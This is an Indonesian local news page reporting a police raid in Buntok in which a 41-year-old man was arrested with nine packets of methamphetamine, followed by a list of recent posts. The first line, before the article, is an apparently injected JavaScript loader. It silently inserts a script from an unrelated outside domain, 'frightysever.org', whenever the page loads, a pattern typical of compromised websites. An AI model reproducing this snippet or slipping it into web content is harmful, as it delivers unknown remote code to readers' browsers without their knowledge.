(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Barito Selatan

Bawa 9 Paket Sabu, AS Dibekuk Satnarkoba Polres Barsel di Rumah


BUNTOK, Jajaran Satnorkaba Polres Barsel, kembali mengamankan AS (41), tersangka kepemilikan narkoba jenis sabu sebanyak 9 paket.

Kapolres Barsel melalui Kasat Narkoba Iptu Sanip membenarkan penangkapan AS yang merupakan warga Buntok Kota atas paket dengan berat 7,71 gram di jalan Pahlawan Buntok, di sebuah rumah, Kamis (12/12) pukul 22:30 Wita. “Jadi kita berhasil mengamankan As disebuah rumah, dengan kepemilikan sabu sebanyak 9 paket dengan berat 7, 71 gram,” kata Sanip kepada Kanalkalimantan.com, Jumat (13/12).

Berdasarkan informasi masyarakat, di jalan Pahlawan RT 31 RW 04 Kelurahan Buntok kota sering terjadinya transaksi narkoba jenis sabu. Menindaklanjuti info ini, Sat Narkoba Polres Barsel melakukan penyelidikan dan setelah diyakini bahwa informasi tersebut benar adanya, mereka dengan di Back up anggota Resmob Polres Barsel dan juga anggota Sat Shabara Polres Barsel melakukan penggrebekan di rumah tersebut.

“Hasil dari penggrebekan menangkap pelaku AS, dan hasil dari penggeledahan Anggota Sat Narkoba dengan disaksikan oleh warga yang ada di sekitar TKP telah mengamankan barang bukti 7 paket kecil yang di sembunyikan di atas kasur tempat tidur, 2 paket besar di dalam dompet kecil di sembunyikan di gudang samping kamar pelaku,” beber Sanip.

Adapun barang bukti yang berhasil di amankan antara lain;

A. 9 (sembilan ) paket narkotika jenis sabu. dengan berat 7.71 gram.

B. 1 (satu) buah dompet kecil.

C. 1 (satu) pak plastik klip bening

D. 1 buah hand phone merk Vivo warna merah

E. Uang sisa hasil penjualan sebanyak Rp 2.400.000,-.

Ditambahkan olehnya terlapor beserta barang bukti dibawa dan diamankan ke Polres Barito Selatan untuk diperiksa lebih lanjut. Sementara tersangka akan dijerat pasal 112 Ayat (2) dan atau pasal 114 Ayat (2) UU RI no 35 Tahun 2009Tentang Narkotika. “Jadi untuk saat ini tersangka sudah kita amankan dan akan dijerat dengan pasal dan UU yang berlaku,” pungkas Sanip.(digdo)


Desy Arfianty

Recent Posts

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

24 menit ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

53 menit ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

1 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

3 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

3 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

7 jam ago

This website uses cookies.